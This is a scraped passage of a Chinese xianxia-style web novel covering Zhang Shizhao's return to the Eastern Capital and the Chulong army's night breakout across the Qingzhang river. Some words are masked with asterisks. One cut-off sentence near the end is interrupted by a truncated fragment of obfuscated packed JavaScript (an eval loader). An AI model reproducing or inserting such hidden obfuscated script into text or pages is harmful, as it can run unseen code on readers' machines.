“无论如何都是要的。”尚师生倒也实诚。“这真是生平未见的一匹龙驹!若是不能得,我宁可**好。” “那还不是逼迫?”张世昭依旧捻须嗤笑。“老尚,人家一个年轻人,又是这般出息,如今路上贫病交加…………**废了固然是**废了,可若是一口气续过来,所谓三十年河东三十年河西,莫欺少年穷,尤其是乱世,将来人家占据了上风,指着今日夺马的事情记恨你,把你折腾一番,你难道能说人家小心眼吗?” “我知道自己口舌上不是相公对手。”尚师生想了一想,干脆以对。“也知道相公的意思,但我真不舍得这匹马,什么结果都是我自家找的…………再说了,他既然哭泣,便是泄了气,我待会按照同僚身份给足钱财待遇便是。” 张世昭如何会深劝,便只是胡乱颔首。 而既然闻得屋内人哭泣,尚师生反而安静下来,很是等了一阵子,眼瞅着那斑点瘤子龙驹将肉蛋吃完,方才催促客栈掌柜进去。后者无奈,只能低头进去,拱手问好。 见到人来,秦二勉力收容:“那位尚将军这般逼迫掌柜只是拱手。 “也罢!”秦二反而仰头来叹。“要我来卖爱马,非只银钱,还要三件事!” “秦二爷请讲。”掌柜叹了口气,似乎是无奈,又似乎是释然。 “一则,请名医替我查看调养身体;二则,我要出关回乡的,局势变化的太快,请尚将军给我留个他个人签署的通关文书;三则,请告知我外面的具体军政局势…….……”秦二郎一字一顿说完。“若是能答应,我便将我那爱马卖给他。” 说完这话,秦二郎也觉得陡然一松,当场出了一身汗,就连肩胛骨的伤口似乎都缓解了两分。 客栈掌柜也不吭声,再三拱手离去,乃是来到外面寻到尚师生,将事情一五一十叙述过来。 尚师生也没有什么可说的,略一沉吟,便直接点头。 但这时,张世昭反而插嘴:“他没让家里人接?一意出关?” “是。”客栈掌柜小心翼翼。 “张相公有什么说法吗?”尚师生略微不解。 “没有。”张世昭依旧立在阴影中,纹丝不动。“没有,只是感慨现在年轻人爱面子罢了。” 尚师生早已经不耐烦,闻言一点头,直接挥手:“我都答应了!告诉那位秦二郎秦都尉,我都答应了,只是什么军政形势,我有大事要极速出发,只留给参军与他说!” 说着,竟是直接上前牵了那斑点瘤子兽,就要往外去。.?? 且说,那斑点瘤子兽自是一匹极品龙驹,一开始吃饱喝足后性情慵懒,被牵走时便顺势跟着走出了马厩,可来到客栈院门前,却醒悟过来,忽然在院门门槛前停住,然后放声嘶鸣。这下子,原本安稳的马厩再度乱了起来,便是外面停着的马匹也都明显慌乱失控,马匹失控,人也有些发虚。 尚师生眼里只有这匹龙驹,见状赶紧去做安抚,但这龙驹明显是个有个性的,根本不做理会。尚师生又去拉拽,龙驹复又以蹄子顶住门槛,同时继续嘶鸣声不断。 就在场面僵住的时候,隔了两个院子,忽然有一个人声卷着一股真气暴鸣卷起来,瞬间压过了龙驹的嘶鸣:“走吧!走吧!咱们兄弟将来再见!” 闻得此言,那龙驹仿佛听懂了一般,却是奋力抬起前蹄,尚师生离得近,亲眼看见其颌下龙须也鼓胀发红,然后便是尽力一声嘶鸣。 这一鸣,居然也隐隐有真气鼓动。 一时间,非但客栈内外牲口失控惊慌,便是人也有些慌,而这个时候,白日已经落过雨水的天空忽然也闪了一下,继而便是雷鸣滚滚。 众人目瞪口呆,便是张世昭也望着天空有些失神,唯独尚师生喜不自禁。 就这样,折腾了许久,随着些许雨滴落下,众人还是重新赶路往东都去了。 而到了三更往后的时候,他们便抵达了东都。 此时,徐州军,或者说是自徐州折返的东都精锐前锋已经抵达,并连夜开始重新接管城防、仓储,城内的贵族、官僚、兵丁也都在各处忙碌,按照说法,司马正将在天明的时候,回到对他如饥似渴的东都城。 东都城,营建于大约二十年前,乃是当今这位圣人登基后第一次大举极速征发劳役。而彼时谁也没想到,这种类似于全民抽杀般的行为会一而再再而三,会连续不断,会使得底层民众彻底爆发,会使得整个大魏土崩瓦解。 当时谁也不在乎这些死掉的役夫。 非只如此,非只是建造东都城**多少底层百姓,接下来,是关陇精华的迁移,是二十年天下民脂民膏的极限汇集。 到了现在,到了大魏已经人人都知道会亡的地步,这座城市依然拥有百万以上的人口,上百个坊,多处各项仓储,数不清的物资和工匠,而且凭借着这座城可以天然控制住天下腹心之地,并可以轻易辐射到的周边数郡膏腴之地。 这就是天元之地,乱世争雄,谁都无法忽视这座城。 而现在,此时,这座城,即将迎来它的新主人,亦或者是新的守护者。 张世昭到底是张世昭,他与尚师生一起入城后,立即便惊动了许多人,一时间,上至南衙相公,下至市场、城门小吏,纷纷来迎,张世本更是以族弟的身份给将自己身上的白毛氅脱下,然后亲自给这位前相公披上,以作夜间避雨保暖。 反倒是尚师生,根本无人理会。 要知道,之前张相公虽有些说法,可到底轻身来投,所以几日相处下来,尚师生还是不免渐渐敷衍,此时见到这幅场景,不由后怕。 只不过,他到底得了一匹龙驹,万事都不在乎了。 不说尚师生,只说张世昭,怎么说呢?眼下这些人,想见都可以见,想谈都可以谈,对他来说,如今的东都城哪里都是把手。 然而,死而复生的张世昭张相公扫视 了一圈人后,却忽然想起一事:“曹林那厮**许久?” “七八日吧。”张世本立即作答。“靖安台封住消 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“应该算是吧。”李十二郎眼神有些飘忽。“我也不清楚。” “我要见见他。”张世昭言辞干脆。 “自然。”李十二郎直接侧身让开。 而张世昭也毫不犹豫,直接打马上了桥,然后往已经坍塌的黑塔而去,来到塔下,看了一看完全塌掉的黑塔,方才下了马,按照李十二郎的指引往黑塔对面的小院而去。 来到此处,入得院中,张世昭一眼便看到了自己的老对手,却是松了一口气,因为对方的确应该**。 **,是说曹林就僵硬的躺在廊下的一个摇椅上,已经没了气息,俨然生机完全断绝;而说应该,则是说对方胸口伤口处,依然还有一团不大的辉光真气将小院映照的清楚,仿佛雨夜中一盏灯一样;至于说的确,则是说他张世昭到底亲自来到了对方身前,亲眼看到了一切,不是听传闻,不是猜测。 接着,张世昭走上前去,来到对方身前,见对方虽死,却栩栩如生,却居然鼻中微微一酸。 br然后,便是良久的沉默与纷乱的思绪。 李清臣等人在侧,也无言语,只是低头冒雨陪侍而已。 过了不知道多久,忽然间,不远处的一个三层建筑上,有人奋力摇动火把,这才打破了沉默。 “张相公,司马二郎已经到了南门,要不要去见一见?”李十二郎上前询问。 张世昭没有吭声,而是盯住了眼前的尸体,具体来说,是盯住了尸体胸口上的那团辉光真气。 李清臣也立即扭过头去了。 无他,就在这个时候,那团宛若实质的真气,一直凝固在那里的真气球,忽然好像被风吹动一般,摇曳了起来。 接着是裂开、飘荡、逸散。 几乎是一个瞬间,已经七八日没有任何动静的这团真气,便忽然消散了。 不知道是不是错觉,李清臣感觉地面摇晃了一下,但紧接着,这个轻微的感觉就被头顶的电闪雷鸣给遮蔽了。 很典型的春雷滚滚,却骤发于夜间。 春雷下,李十二郎有些失魂落魄般的看向了张世昭,却发现,原本没有多余表情与姿态的张相公忽然变得严肃,或者说是有些像是愤然起来。 一切都那么突然和莫名其妙。 察觉到什么的,不只是李十二郎和张世昭,几乎是同一时刻,东都的南门门洞内,身披金甲的司马正身形在马上摇晃了一下,继而停了下来。 他明显感觉到,整个东都仿佛掀起了一股浪潮,然后卷动着整个向自己涌来,使得自己仿佛踩在了什么巨大的波浪之上。 这一刻,这位天资聪颖的宗师忽然便意识到发生了什么,这就是所谓的地气,东都的地气。 立塔,以压地气,以导地气,以合地气。 这就是自己往后的道路。 最起码是修行的道路。 至于这股地气为什么现在忽然出现,他还有些糊涂。 同样糊涂的还有在龙囚关内侧的秦宝,已经外敷内用了药,怀着许多心事躺下的秦二郎,忽然间,又觉得自己身体好像去了一层枷锁……伤还在,还是很疼,真气还是阻滞,但整个身体却像是减掉了什么负担一般。 当然,张世昭和李清臣大概是稍微清楚事情原委的。 能是什么?还不是有人**都要压着东都的地气,等着有人来才散开,这才导致了一些事情…………而也正是因为如此,那一刻,张相公才会忽然变得愤怒,而不是预想中的悲伤。 一下子意识到发生什么的张世昭等了片刻,压住了怒火,没有回应李清臣,而是转身离开。 其人临到黑塔前上了马,直接缓步打马往外面走去,来到桥边,闻讯赶来的儿子张长宣已经带着一群家人顶着电闪雷鸣跪在了此处,以作迎接。 张世昭一声不吭,直接打马过去,惊得他的家人们纷纷起身,赶紧上马围住,准备护送许久不见的老主人回府。 这个时候,张世昭忽然想起什么一般,复又勒马,将身上白毛氅脱下,掷给了送出来的李清臣:“李十二郎,保住身体,身体是做事业的本钱!” 李清臣苦笑一声,没有辨析,没有解释,只是低头披上。 张相公也没有理会,而是直接在家人的护送下匆匆折返。 回到府中,全府人都在等候,却被张大相公直接挥手散去,然后径直入堂,却又只让自家亲子张长宣一人留下。张世昭坐在堂上,张长宣立在堂下,父子二人相对妥当,借着外面的电闪雷鸣,张大相公出言惊人: “我马上要走了。” 饶是张长宣对自家父亲的种种行为早早脱敏,此时闻言,也有些茫然不解,外加荒诞无语。 “乱世纷腾,一个不小心,家族可能就要断绝,所以有些话你我父子要说清楚,说干脆。”张世昭言辞利索,神色自若,似乎精神头反而上来了。“头一个,按照常理,本该是我这种老头子守成,你这种年轻人去奔走,去建功立业,但是我不管你才能如何,学问如何,修为又如何,反正我是野心最大的那个,所以,咱们家,你来守,我这个老头子去建功立业…………懂了吗?” “是。”张长宣当然听得懂。 “其次,你既守,如何守是你的本事,我就不做多余言语了,只是我之前在哪里,马上要去如何,未免你们担心,却要给你留个底的。”张世昭说到这里,幽幽一叹。“之前我是被张三俘虏了,栖身在黜龙帮。” 张长宣立即点头,这并不是意料之外的事情,黜龙帮劫持了队伍,宣称杀了自己亲爹,结果收尸的时候却没找到,他便已经想到了这种可能。 “至于此时为什么来,不是要做什么事业,要设计什么阴谋诡计…………”张世昭继续皱眉来言。“只是恰好之前在李枢那里,而李枢马上要闯祸,要坏事,君子不立危墙之下,为了自保,这才趁机脱身。” 没错,离开李枢,就是为了离开李枢,离开本身就是最大的意义所在。 张长宣还是立即点头。 “换言之,我本就是无意间回了东都。”张世昭语速明显变慢了起来。“唯独进了东都,忽然就想到了曹林,便去看了曹林,见到他死,一是释然,二是感伤;再见曹林拼了性命也要如何,却又愤然!他也算是堂堂英雄,修为更是胜我百倍,却为身份、亲缘所绊,**也要在那里尽心尽力,拿躯体做个灯罩子……故此,我除了愤然,却又下定决心,不能学他!我一直看不起他是有缘故的!但有野心,也该去赌一赌、**才对!所以,我马上就要走!” 张长宣犹豫了一下,认真来问:“父亲大人,若你有志气,不知司马二郎可能托付?” “司马正入东都,怎么都是一步妙棋,都是气势大涨,但我却觉得,他还有些被束缚住的感觉。”张世昭对自己儿子当然没有隐瞒必要。“而我的野心和生平夙愿,其实还在巫族那里…………我拼了命都想把巫族给彻底抹平了!他司马正够得着吗?” 张长宣恍然,连连颔首:“儿子晓得了,父亲尽管去寻英国公吧!我在东都这里必然守好家。” “你也就是守家的本事了。”张世昭站起身来,步履矫健,负手走过了自己儿子。“天下为局,我一个旧余残党,拼了命也不过以身化子,赌这一落而已。如今英国公虽占三分优胜,但白三娘不在,即便成事不过因循守旧,隐隐又是一先帝罢了,我又何必投他?倒是黜龙帮, 虽然有三分劣势,却是处处维新,势必要重做铺张.……所以,我张大宣这一子,早想好了,若要落,便是要落在黜龙帮身上!只不过,今日决心落下罢了!” 说着,已经负手走出去了。 第二百八十章 山海行(27) 二月十六日,河北,清河郡、武安郡、武阳郡三郡交界处,清漳水畔,天亮的时候,雨水稍却,取而代之的是一团薄雾,这让黜龙军大营内的不少人有些心慌。 「起雾便是要放晴了,明日凌晨的突围便少了一层遮盖。」中军大帐门外,徐世英望着天空面色阴沉。 闻得此言,稍有醒悟的伍惊风显得有些焦躁:「早知道昨晚上突出去就好了。」 「说这个无用......真要是昨晚突围,怕是反而仓促。」徐师仁认真辩解,复又来看张行。「首席,可不可以趁机多做些干粮?雾气现在可以遮蔽炊烟。」 「怕也赶不及。」马围迅速否定了这个建议。「这薄雾撑不了多会功夫,要是马上散了,炊烟却不停,怕是要弄巧成拙。」 「原来如此。」徐师仁立即点头,不再言语。 「那就去各自辛苦吧!」张行点点头,下了命令。「按照刚刚说定的计划来做!」 几位领军头领各自拱手而去,倒是周行范纹丝不动,其他人见到如此,包括马围、崔肃臣,乃至于王雄诞纷纷先走,便是贾润士都退到大帐中,一时只剩下张行、雄伯南与周行范而已。 这个时候,小周方才上前来言:「三哥,徐大头领怎么回事?」 「哪个徐大头领?」张行正色来问。 「徐师仁。」小周干脆来对。「不是雾气散不散的事情,便是雾气不散,能遮住大宗师和几个宗师的眼睛?雄天王,这雾气能拦住你分辨出敌营的炊烟吗?」 「认真去分辨的话当然拦不住。」雄伯南蹙眉道。「但只凭这个就能说徐大头领有什么不妥吗?或许他只是忧心军事,一时想岔了......全军突围,大家都紧张。」 「想岔了那也是慌乱失措的意思。」周行范认真道。「一个领军头领这般惊慌,会不会出事?正如天王所说,这是全军突围,哪里出了事情都是关乎整个黜龙帮生死的。」 雄伯南一时为难。 倒是从之前开会便面无表情的张行,此时反而笑了:「你说的其实有道理,但有句实话小周你听不听?」 「当然听。」 「那好,明日凌晨的突围,咱们这边几乎每个环节、每个方向、每个领兵头领都不保稳,更不要说派出去的信使和对面的接应了。」张行认真告诫对方。「所以现在是,有切实证据,我们就立即处置,以确保安全,但如果没有,就都得硬着头皮来。」 周行范会意,只是点点头,便径直转身离去。 人走后,一时只剩下张行与雄伯南,后者犹豫了一下,居然也问:「不是徐师仁,是徐世英,张首席,我昨晚便想问你,你同意徐大郎单独领一路,有没有疑他的意思?」 「不是说我就觉得徐大郎这次没有歪心思。」张行沉默了片刻,决定跟雄伯南坦诚以对。「但一来,我不觉得他会真的叛离黜龙帮,毕竟他这种人计算的比谁都清楚,反而比脑子糊涂或者贪生怕死的人更晓得其中利害;二来,我同意他单独走,并不是因为他立场如何,而是觉得他是所有领兵头领中最聪明也是领兵能力最强的一个,他单独领一路,是真有可能突出去的。」 雄伯南终于放心。 而这一次,轮到张行主动开口了:「天王,要辛苦你今日在各营多做巡视,连最上面的头领,连我们都疑神疑鬼,而且既疑自己,也疑他人,那今日军令真一层层传下去的话,不免要引发动荡......」 「晓得。」雄伯南也立即会意。「一个是安抚人心,另一个是防着有人脑子糊涂,跑出去告密,要我多一层防护。」 「正是这个意思。」张行叹气道。「其实,事情到了眼下,真的没有改弦易辙的 道理了,凡事都得硬着头皮踩过去,只能辛苦天王了。」 「咱们自家的事情,正该同心同力,一起拼命,谈什么辛苦?」雄伯南应了一声,竟也直接钻雾中去了。 诚如张行所言,事情到了眼下,就是一个箭在弦上不得不发的局面......这种情况下,不是说不能做更改或者一定要坚持既定方略,而是要排除信息干扰,不做任何多余的动作......所谓兵来将挡水来土掩,遇到门槛便临门一脚,如此而已。 而且,经历了种种事端后,张三现在的状态已经与以往渐渐不同了。 以前的时候,他虽然能做事,能坚持一些东西,但只要遇到是身为领导者下决断的时候,心里往往都是虚的,只是硬撑而已,而现在,不敢说已经完全信心爆棚,但多少是有些改观了。 至于原因嘛,不言自明,他想象不到比这次被打崩后还差劲的局面了,而即便是被打崩他都有心理准备了。 实际上,目送雄伯南离开后,张大首席便负手回到了中军大帐......这个时候,他反而不敢离开中军大营,因为真要是来了什么决定性的信息,只有他能迅速转变计划......于是,干脆再度翻看起了那本都快被磨烂的《女主郦月传》,准备再重温一遍男女主人公**改革失败后的悲惨命运。 也就是在黜龙帮首席张行后不久,随着雾气散去,联军主帅白横秋也开始在河对岸的东都军营中下起了棋。 「昨夜罗术营中似乎有些不妥,中军大帐那里忽然就把人给支开了,也不知道跟谁见了面,说了什么。」 「罗术吗?」 「是,还有王臣廓那里,散会后其人根本没回营,中间差了足足两个时辰,天快黑才回去,也不知道去了哪里 「这两人......老夫都不知道该说什么,他们生疑也是该生的,毕竟是河北土豪出身,之前在营中不免觉得老夫是许空话。」 「不是吗?」刘扬基诧异一时。 「不是......」白横秋认真作答。「立本都没了,东都军都要崩了,局面这么危险,我怎么可能还糊弄他们?只是时间太仓促,难与他们立信,他们眼见同列之中只有自己是外人,自然生疑。」 「那如何补救?」 「请王公去说说吧。」白横秋掷子而叹。「我现在不能轻易离开此营......只这两人异动吗?」 「当然不是,冯无佚那里几乎要公开叛变了......在哪儿山唱哪儿歌,国公让冯无佚掌管那个营,还将王臣廓调走,下面的那些河北本地的杂牌军将自然被冯无佚影响。」刘扬基认真汇报。「其实,便是王公也有些举止怪异,他昨日非但派了自己学生去'劝降',还在学生走后给许多人写了许多信,七八个信使出去,往西面可以说是去晋地的,往东面可以说是寻崔家的,但往北面、往南面,我就不懂了,也不知道是给谁。」 「无妨的,王公无妨的,冯无佚那里,你让窦琦布置好就是。」白横秋给出了答复,却又转移了注意力。「王公学生去劝降的事你怎么看?」 「粮食?」「对。」 「我觉得就是没法看。」刘扬基抱着怀冷笑一声。「这事太简单了,就是那个姓房的小子自以为是,以为自己多聪明、多大本事,能趁机试探出什么东西来,好摆出个样子扬名立万,结果遇到张三这样的顶尖聪明人,开头一句没粮了,他就被唬住;结尾一句还有五天粮,他就全懵了......实际上,多少粮食谁也不知道!」 「应该是这样。」白横秋微微叹气。「不过粮食无所谓,真要是熬着吃马肉,也不是不行......都说等他断了火吃马肉就能攻进去,但眼下这个局面,咱们 真能组织起来大举进攻吗?」 「确实。」刘扬基依旧抱怀感慨。「冯无佚依旧不可靠;东都军更是沸反盈天,屈突达带兵往东也不放心;李定被夺了兵马,必然耿耿;还有罗术、王臣廓也都有了二心......这还不算黜龙帮两头发兵来扯,到时候变数更多......所以,国公才想着用这个阳谋,通过劝降把消息传进去,好让他主动攻出来?」 「不错。」白横秋微微叹气。「现在的局面是,两边其实都绷不住,他们被围着,只会更惶恐......我心里是有猜度的,张行一定会抓住机会出来的,突围就在这一两日,而且主力必然会往我这里来,不然岂不是白瞎了他的伏龙印?!」 「希望如此,只不过,既是阳谋,咱们也是真漏出了破绽......」说着,刘扬基依旧抱着怀,却忍不住身子向前倾在棋盘上方。「国公,你跟我说句实话,这一战,怎么算个胜?」 「今日局面,联军内外三心二意,断不能严丝合缝,怎么都难说能斩草除根了。」白横秋正色道。「但若是能在他们突围时,杀伤个几千帮内精华,打死几个大将,自然也能算妥当,而且还要尽可能追击......至于说追击失利,我们又不是没有下手的目标,继续打击黜龙帮。」 「往东打魏玄定那些人?」 「我也想,但军心不稳,失了目标又没了东都军,只凭我们很难再往东走......」 「我明白了,国公的意思是,回军,路上打李枢!」刘扬基恍然。「要快!」 「不错,当面击溃张行,折身合三军之力击溃李枢,然后从容西走,逼近东都......东都若能有所作为就作为,没有就继续往河东去,入关西,支撑大局。」白横秋给出了自己的最后方案。「咱们要分清楚主次,首先是要为白立本跟丁都尉他们报仇,他们是自己人;其次,是尽量拉拢和控制东都军;而这些都不能耽误此战后迅速西进的方略......关西不能再耽误了!」 「好,那就好。」刘扬基终于放下心来。「国公可还有什么交代吗?」 「没有了,你现在就去平恩城东的韩引弓营中吧,不要让他关键时耍了滑头!」白横秋继续吩咐。「他的八千生力军,是此战的胜负手之一......告诉他,要是此战不遵循军令,我亲手了结他!」 「事已至此,要不要让韩引弓部从上游悄悄渡河,来这里做支援?」刘扬基已经站起身来,但想了一想后,还是最后来问。 「不用!」白横秋肃然道。「河这边的东都军只是诱饵,我不会让张行主力真正渡河的!就让韩引弓在大营外侧待命!到时候我自有军令!」 刘扬基终于无话可说,转身离开。 人既走了,白横秋却在棋盘前端坐不动,沉默良久,然后只瞥着河对岸的黜龙军大营发呆,彼处炊烟在雾散后便适时停止,部队用餐、骑兵巡视、许多士卒在栅栏上晾晒甲衣,全然正常。 倒是自己所处的东都军大营,明显异动连连,正值早餐的时候,部队上下却三五成群**,交头接耳,显得人人躁动,而过多的巡逻甲士和悬挂的首级又使得军营内过于气氛肃杀。 实际上,白横秋闭目来听,分明在春日阳光下隐隐顺着风声听到了有底层士卒在策划逃亡,有军官在敷衍上下。 想来,此番景象,河对岸的黜龙军也会看的清楚。 注意力转过,最后这位大宗师复又想起那日之战,心中不由一叹一一伏龙印!伏龙印这种东西在战前忽然流转出来,且落在张行手上,这算什么?天意吗? 然而,白横秋到底是一方枭雄,想到天意,反而泰然 毕竟,天意至公,张行有天意加钟,自己当然也有, 否则如何到的大宗师? 此事便是有些蹊跷,怕还是人在做,只是一时不知道事情原委罢了。 便是退一万步讲,真有某些至尊心存私念,不顾之前的教训代行天意,那自己也不怵,因为四御岂是一条心?你是黑帝点选,我自可寻赤帝求个方便。 想着想着,白横秋也收起心神,却是端坐起来,自己跟自己下起了一盘新棋。 但是,这种煎熬并没有持续多久,到了中午的时候,白横秋就接到了第一个军情异动—一黜龙帮大兵团忽然启动,直扑鄃城,按照时间来算,此时怕是已经要接战了。 白横秋沉思片刻,却是毫不犹豫停止了这局对弈,转而起身离开将台远端,来到近侧,看向了等候着自己的参军们:「此营中还有多少东都军?」 「一万四五。」参军立即上前。 「发五千兵,让刚刚回来的郑善叶领着去做救援!」白横秋即刻下令。「再从对岸咱们大营取五千兵渡河来此营中!」 参军欲言又止。 「何意?」白横秋主动来问。 「东都军军心不稳,若是放他们出营去援,不说会全军趁机哗变逃跑,只怕会在接战后一触即溃,然后自行逃散的多一些......」参军认真提醒。「要不要派我们的人自己去救援?」 白横秋笑了笑,忽然颔首:「你说的有道理。」参军大喜。 「但是......」白横秋沉吟片刻,负手以对。「先按照我之前命令执行,等东都军出营后再拉回来,再让移营的太原军去做救援......而且,要让窦琦守中军大营,孙顺德亲自带兵去援护......还要让孙顺德走前来见我。」 参军先是茫然,但毕竟是参军,旋即醒悟了半分,白横秋似乎是要示弱,告诉河对岸的黜龙军,这里的东都军已经到了失控边缘。 片刻后,孙顺德抵达,白横秋招呼对方过来,言简意赅:「你带兵过去东面,不必支援屈突达,走出个二十里,便将兵马伏下,就地落寨,懂我的意思吗?」 「懂得!」孙顺德即刻醒悟。「这样,我与韩引弓便是两把战场外的钳子,必要时可以从任意地方***来!」 白横秋点头,孙顺德也即刻离去。 此时,东都军大营内因为出兵援救的闹剧已经开始,而白横秋却继续了自己的单人棋局......只不过,相对于上午的煎熬,作为一名宿将,晓得大战将至,此时他反而坦然了下来,甚至让人送上了点心与酒水。 只是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一刻钟后,已经完全黑下的暮色中,各营主将与中军各头领汇合,这个时候,从后帐出来的张首席开宗明义:「徐大头领部有队将逃跑,而徐大头领是要跟主力从西北面走的 换句话说,今夜突围的方向和时间很可能被敌军知晓. .不许埋怨谁,现在立即决断,要不要更改主力突围方向,要不要提前突围?」 众人议论纷纷。 但普遍性都认为应该更改作战方案,趁着军令没有下达到部队最基层,直接从上层这里更改突围方向。 张行没有吭声,罗盘迄今为止没有骗过他,他也早过了对罗盘过于警惕或者依赖的心境,然而,事情总要有个说法,这个说法不是无谓的借口,而要和之前一样,有一个理性的思路,晓得留在这里,或者不改变突围方向的原委在哪里。 真要是来个真龙开道,他反而要更加警惕这个罗盘了。 而现在这个道理在哪里呢? 首先当然是罗术,从罗术那里走最出其不意......但现在消息要被暴露。 「以防万一的话,改道是对的。」就在这时,马围开口了。「但是,改道的话,就没有必要改时间,这样反而会起到疑兵作用;反过来说,改时间提前的话,就没必要改道,因为他们来不及的......将消息传到白横秋那里,再做部署改变,不是那么容易的事。」 张行恍然大悟,这样就对了! 只是该如何说服众人提前而不是改道呢? 想到这里,张首席目光扫过帐中的头领们,最后目光落在其中一人身上,心中微动,主动来言:「马分管说的清楚,改道还是提前,咱们不要耽误时间,各营主将按顺序说,徐大郎......你怎么看?是改道,还是提前?」 「那就不改道,现在准备,突围提前到午夜如何?」徐世英愣了一下,咬牙回复。「我还是向东面渡河诱敌,周头领带骑兵走北面冯无佚那里......」 「我乐意!」周行范主动跟上。 「好。」张行点点头,继续来问。「徐大头领?」「我也赞同。」徐师仁忙不迭颔首。 「我也赞同......」张行立即中断了表决。「七营主将,四营同意提前出兵......大家不要再议论了,立即准备!」 雄伯南以下,各自释然,然后迅速忙碌起来。 不过,这些人不知道的是,几乎是同一时间,一名刚刚自北面逃离的黜龙军队将被人按在土垒上,然后一刀枭首。枭首之后,河间军一名队将将此人首级取下,寻到对方鲸骨牌子,不由大喜,便要人去中军喊参军来记录功劳。 旁边士卒不解:「此人说有军情,为什么不先听一听?」 「接应军情有什么功劳?」河间军队将反而冷笑。「便是有些功劳,也要麻烦至极,不如杀了取个队将首级来的利索。」 说完,便催促周围士卒去扒**衣甲。 张行等人当然不晓得危机已经解除,实际上便是再知道,也不可能再度更改军令了。 午夜时分,外围联军大营已经渐渐安静,黜龙军大营内全军整肃完毕,而原计 划要往西北面走的张行此时却带着雄伯南与伍惊风出现在了大营东南面的清漳水河畔,引得正要搭建浮桥的徐世英心中惊慌一时。 「我试试看,看能不能送你们一程。」 张行看了看对方,言语从容,便拎着什么东西从河堤上走了下去,一直走入河下,上了刚刚扔下去的浮桥浮件,方才停下。 接着,其人就解开了手上无鞘惊龙剑外面的裹布,将手中长剑插入脚下河水中,下一刻寒冰真气滚滚,自张行身体涌出,顺着惊龙剑翻入河中,随即,冰花凝结,顺着浮桥的浮件瞬间成型,然后又向四面八方扩展开来。 周围人见此,从雄伯南开始,伍惊风、徐世英皆目瞪口呆,因为那冰面迅速扩展,居然很快便抵达了对岸,形成了一个冰制浮桥,这还不算,冰面还在不停延伸。 与此同时,河面因为瞬间形成的温差,马上升腾起了烟雾,须臾片刻,便飘上岸来,几乎与早间的晨雾相差无二。 这等威力,不得不让人怀疑,张行已经到了宗师境地,可以轻易达成这般情境。 就在徐世英等人目瞪口呆时,河对岸,还在一个人下棋的白横秋不知何时便停下了动作,一直望着夜色中的河对岸,此时见到夜间飘来薄雾,却是忽然一笑,然后站起身来,负手来看。 另一边,张行施展完神通,走上河岸,将手中无鞘惊龙剑抬起,递给了徐世英:「徐大郎,大丈夫生于乱世,当带三尺剑立不世之功!此剑与你,若是今夜后我没了音讯,或者被隔绝在北,又或者干脆身死,还请你努力辅佐魏公,努力弥合河北河南之力,继续黜龙之业!」 徐世英头皮发麻,心神恍惚,只是勉力推辞:「首席何出此言?你修为这般厉害,又有伏龙印,今夜你必得全身而走!」 「若是这般,便也请你徐大郎做我执剑之人!」张行言辞平淡。「今夜你先行一步!我随即而发!」 说完,更是直接转身回营,准备突围去了。 第二百八十一章 山海行(28) 两刻钟后,借着薄雾掩护,徐世英本部不足两千人就全部离开了坚守半月的营盘、越过了浮桥与结冰的河面,并以队为单位分散在河堤下与河堤面趴伏,而徐世英本人则身着铁甲、披着白色短氅立在河堤上,望着似乎全然没有被惊动的东都军大营出神。 不过,仅仅是片刻后,这位披着短氅的黜龙军大将便举起手中长剑: “举火。” 声音不大,却在被云雾遮蔽了月色的夜空中显得格外清亮,而军令既发,便立即自周边亲卫处递次传开,早已经准备好的火把被渐次点燃,很快照亮了整个河堤,然后穿透薄雾,映到了东都军的大营中。 到此时,东都军大营内也明显有了些动静。 这一次,徐世英没有片刻迟疑,其人挥起长剑,面色如常,只向着前方夜空平平一指: “杀!” 喊声遽发,带动真气,隐隐若雷鸣,与此同时,浓厚的绿色长生真气也顺势逸出,沿着长剑翻滚延伸,瞬间便在夜间亮起一股绿光,并有笼罩周围士卒的趋势。 周围士卒明显顿了一顿,但是很快,不用参军与军官们传令,这些跟随徐大郎很可能不止四五年,甚至是家生子出身的士卒便纷纷自地面上爬起,大声喊杀鼓噪,所谓披甲持械,向着正前方的大营发起突袭。 且说,既是突围,自然要选择合适的路线,所以,浮桥与冰面的位置其实并不是正对着东都军大营,而是在东北面偏下游位置……理论上来讲,如果东都军大营的人没有发现,徐世英部更应该是顺着河堤继续往下游摸过去,最好一直到大营边缘再发动突击突出去才对。 但是,无论是出于基本的战术需求——徐世英接到的命令本来就要以偏师突围打草惊蛇,吸引整个战场注意力;还是出于一个基本的战术判断——白横秋身为大宗师,不可能真的一直发觉不了突围部队……徐世英都要立即、猛烈的发动正面进攻! 喊杀声伴随着火光骤起,正当面的东都军大将郑善叶翻身坐起,神色大变。 而意识到发生什么以后,这名家传国公的宿将复又有些头晕目眩,不知所措……这个不知所措,倒不是说他颟顸到一点应付突发军情的经验都无,也不是说他被一场半预料之中的突围给打的彻底摆烂,而是说,当他意识到发生了什么,准备按照经验方略去应对的时候,却猛地想起,自己的指挥体系根本不存在! 没错,别忘了,郑善叶原本带着自己的部队在东线鄃城,而前日的会议结果赫然是让屈突达孤身去代替自己,郑善叶虽然不满,但也不敢反抗白横秋,所以便孤身折回,折回后却又发现大营的指挥权已经落在白横秋本人手中,自己只是一个添头,而且也没必要争夺临时的军权,便没有什么作为。 故此,郑善叶此时是没有军队指挥权的,而且也没有一个完整的军队指挥体系来对接大营内屈突达的部属还有曹林、段威从东都拉出来的部队。 “白公大意了,今夜要坏事!” 火光下,郑善叶回过神后,立即对身侧家族出身的心腹亲卫说出了这句话。 “不管如何,请主上先披挂起来。”亲卫自然要履行职责。 “走!”郑善叶到底是多少年官场沉浮与军事经验,却是在起身刚刚套上甲衣的一瞬间醒悟过来,然后拖拉着尚未穿完的甲胄往外走去。 “主上!此时存身为上!”亲卫一时不解,还以为对方要逞英雄,赶紧拦腰抱住。“我们根本没法指挥部队,强行作战,只能靠主上主动现身……太危险了!” “我不是去作战!”郑善叶焦急解释。“现在这个情况,如何能作战?我修为又不好,黜龙帮随意一个大头领都能处置了我们!” “那也不好逃吧?”亲卫似乎恍然。“英国公处置不了黜龙帮,还能处置不了主上?” “我也知道。”郑善叶赶紧给出答案。“咱们赶紧走,去中军找英国公!找到英国公,一则保全自家性命,二则也是说清楚营中军队不是我所属,借机避祸,这样便是今夜大败,英国公也不好将我当做替罪羊!” 亲卫彻底恍然,赶紧招呼人拎着甲胄追随对方离开营帐,乃是一边匆匆协助对方披挂,一边往中军方向撤去。 